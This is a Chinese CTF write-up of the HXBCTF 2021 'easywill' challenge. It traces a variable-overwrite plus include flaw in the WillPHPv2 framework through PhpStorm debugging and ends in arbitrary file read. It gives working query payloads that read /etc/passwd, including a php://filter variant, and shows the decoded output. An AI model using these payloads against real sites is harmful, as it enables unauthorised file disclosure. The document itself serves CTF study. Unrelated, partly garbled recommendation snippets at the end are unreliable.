时间戳——2021.12.12

0x01 [HXBCTF 2021]easywill_WriteUp:

一、PHPSTORM框架调试

第一步:登录buuctf,打开[HXBCTF 2021]easywill题目的容器环境

第二步:进入打开的的题目链接,发现有一段代码提示,以及两个选项,一个使开发手册,一个是下载新版本。(经过查看html源码没有提示,也没有www.zip和robots.txt,但是很明显发现这个是ThinkPHP、WillPHPv2版本的框架,因此我们之后打算下载PHP源码,然后放到PHPSTORM进行Xdebug框架调试)
代码提示给出的信息:一个assign函数、一个view()函数

第三步:点击开发手册,发现assign函数的功能

第四步:点击下载新版本,下载下来,放到本地环境中


第五步(可以不要):在app\controller\IndexController.php里面添加如下内容,尽量还原题目,就是给一个提示


第六步:开始在PHPSTORM调试
1、设置断点,传入参数
设置断点传入参数的方法:

传入参数的姿势:

传入参数的结果:

2、键入F7,步入:很明显,这个步入就是进入了assign函数,这里的\wiphp\View::asign()中的双冒号指的是所属空间
获得信息:assign()函数处于View类中

3、从上一步得知,我们需要跳转到assign函数所处的View类上,因此在上一步按住ctrl+点击View,发现在View.php里面,assign函数会把value参数的值赋值给vars数组的name键,这里就好像符合了assign在使用手册里面的功能了。
获得信息:assign函数会把value参数的值赋值给vars数组的name键

4、经过fetch函数–>render函数–>renderTo函数,最终停在了Template.php页面,发现了**【变量覆盖+文件包含】构成的【任意文件读取漏洞】**
extract($vars)的功能是:把vars数组的键值对,转换为变量和变量值的对应关系,如果该数组里的键与已存在的变量同名,则覆盖已有变量。所以我们构造可以传入的键值对vars[cfile]=任意可读文件,也就是传入?name=cfile&value=任意可读文件,我们就可以让后面的include $cfile成功的包含我们想要读取的可读文件。

5、本地添加一个测试文件test.txt,用来读取

6、在变量覆盖漏洞处打上断点,开启调试,按下两次F9恢复程序,传入参数,如下所示:

传入参数后的phpstorm页面

7、键入F7步入,就成功的跳转到了test.txt

第七步:总结漏洞的利用姿势:

漏洞 利用方法
可控点name和value 通过get的形式传入参数的值
assign(GET[′name′],_GET['name'],G​ET[′name′],_GET[‘value’]) 读取get形式传入的参数name和value的值,传入assign函数
assign函数的关键功能:$vars[ $name] = $value; 把$value的值传给vars数组的name键
extract($vars) 把vars数组中的键值对转换为对应的变量和变量值,若键值与已有变量名重复,则覆盖原有变量名的内容
include $cfile 对不符合php语法规范的进行读取操作,对符合php语法规范的进行解析执行
任意文件读取漏洞 以上综合得出漏洞利用姿势:?name=cfile&value=任意可读取文件

第八步:在BUUCTF里面测试漏洞
1、我们在buuctf里面打开的题目链接里面,测试上述漏洞。由于靶机是linux操作系统,所以我们可以读取已有的文件/etc/passwd。
所以传入右边的参数,利用文件包含读取文件:index.php?name=cfile&value=/etc/passwd

2、也可以传入右边的参数,利用文件包含读取文件的源码:index.php?name=cfile&value=php://filter/convert.base64-encode/resource=/etc/passwd


解码内容:
root❌0:0:root:/root:/bin/ash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
news❌9:13:news:/usr/lib/news:/sbin/nologin
uucp❌10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
man❌13:15

一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]相关推荐

  1. 读取gps观测数据o文件的matlab编程,读取GPS观测数据O文件的matlab编程.doc

    读取GPS观测数据O文件的matlab编程 读取GPS观测数据O文件的matlab编程 function HeadO=ReadObsHead [fname,fpath]=uigetfile('*.*O ...

  2. python shp文件_对python 读取线的shp文件实例详解

    如下所示: import shapefile sf = shapefile.reader("e:\\1.2\\cs\\dx_csl.shp") shapes = sf.shapes ...

  3. python怎么读写文件-怎么用python读取和写入TIFF文件1

    Python读写文件 1.open 使用open打开文件后一定要记得调用文件对象的close()方法.比如可以用try/finally语句来确保最后能关闭文件. file_object = open( ...

  4. python读取plt文件吗_如何读取连续的.plt文件并存储它们

    我有1000个文件要用python读取.以前,我有74个,我只是一个一个地读,但现在有太多的事情要做.在data_1 = np.genfromtxt('test4-1.000001.plt', del ...

  5. ajax读取文件数据,Ajax 实现读取 properties 格式资源文件数据

    Ajax 的核心是 JavaScript 对象 XmlHttpRequest.该对象在 Internet Explorer 5 中首次引入,它是一种支持异步请求的技术.简而言之,XmlHttpRequ ...

  6. stl文件怎么用Java读取_将STEP文件转换为STL

    我正在寻找有关如何解决以下问题的建议: 将STEP(ISO 10303,AP 203/214)转换为三角形网格,即转换为STL 显然,STEP支持一些平滑曲线的各种精确表示,例如NURBS,因此两者不 ...

  7. php读取iso文件,Linux_linux下如何读取使用iso 镜像文件的方法,如果拷贝到本地,可以使用moun - phpStudy...

    linux下如何读取使用iso 镜像文件的方法 如果拷贝到本地,可以使用mount mount fileName mountPoint -o loop,fileName是镜像文件名(*.iso,*.i ...

  8. C语言调用dbf文件,C语言直接读取FOXBASE的DBF文件.pdf

    C语言直接读取FOXBASE的DBF文件 维普资讯 1◇-l 1(Bs I 据 的读取 . 一 . 问题的提出 表 1 DBF文件的文件参数表 FOXBAsE有时在与外界进行数据交换 .提高数据 位置 ...

  9. linux下循环读取目录文件,linux循环递归读取目录指定类型文件及计算阶乘脚本...

    linux循环读取目录指定类型文件脚本 ergodic.sh #!/bin/bash function ergodic { for file in ` ls $1` do if [ -d $1&quo ...

最新文章

  1. HDU5583 上海赛铜牌题
  2. java控制台两个字符串_java控制台输入字符串
  3. 【iOS】NSDate分类,获得中国农历
  4. python中导入的模块不能直接当方法用,需要采用模块.方法名或模块 as 别名,再别名.方法的形式
  5. 全球每年仅一位!中国数学家印卧涛荣获优化领域Egon Balas奖
  6. flink sql client读取hive时卡住
  7. 基本java,jquery异步 的级联下拉列表
  8. spring mvc重定向_Spring的Web MVC –重定向到内存泄漏
  9. android用java写文本框_Android 自动完成文本框的实例
  10. (54)FPGA基础编码D触发器(三)
  11. matlab字符串元胞数组,MATLAB字符串数组元胞数组和构架数组
  12. BIM族库下载——Revit家用电器族库
  13. DB2 SQLCODE常见错误代码
  14. arcgis 批量计算几何_ArcGIS四种计算图斑面积的方法
  15. python+基于Python的资产管理系统 毕业设计-附源码201117
  16. weight_decay一般设置为多少_建盏一般多少钱?建阳建盏定价的依据是什么?宋韵建盏为你解析...
  17. 为什么会出现淘宝客比价订单?怎样才能省钱购物?
  18. Delphi图像处理 -- 彩色浮雕
  19. 802.11与802.3数据帧转换(即有线和无线数据帧转换)
  20. 学习笔记整理:Photoshop软件应用-图层的应用和渐变工具

热门文章

  1. js面试--ajax与性能优化
  2. 外企面试成功秘笈(外企HR亲授)
  3. 成都UI设计师工资是多少?工资高吗?
  4. 关于代码家(干货集中营)共享知识点汇总系列——瞎推荐
  5. Java 520.1314表白
  6. android加载webview网页,android 加载网页Html文本--WebView
  7. PhpStorm 2021 如何配置php7.3的环境
  8. SpringBoot实现SpringTask调度任务---实现间隔调度与CRON调度处理
  9. 相对论的陷阱---光速和光源或物体运动速度的区别
  10. linux 自启动 快捷键,Linux 自定义快捷键